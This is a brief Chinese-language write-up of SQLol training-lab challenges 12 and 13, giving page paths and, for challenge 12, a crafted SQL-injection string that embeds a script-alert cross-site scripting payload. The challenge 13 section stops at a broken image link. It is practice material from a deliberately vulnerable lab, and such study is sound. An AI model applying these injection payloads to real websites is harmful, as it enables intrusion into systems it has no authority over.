渗透测试：SQL注入实践--MCIR sqlol 模块挑战12-13

SQL注入实例分析-SQLol(12)

页面地址为：/sqlol/challenges/challenge12.php

提取SQL指令：’ # ‘1’='1

构造植入代码：

    1' and <script> alert('I am wel')</script> #
    
    
      
    

SQL注入实例分析-SQLol(13)

页面地址为：/sqlol/challenges/challenge13.php

![ ](https://ad.itadn.com/c/weblog/blog-im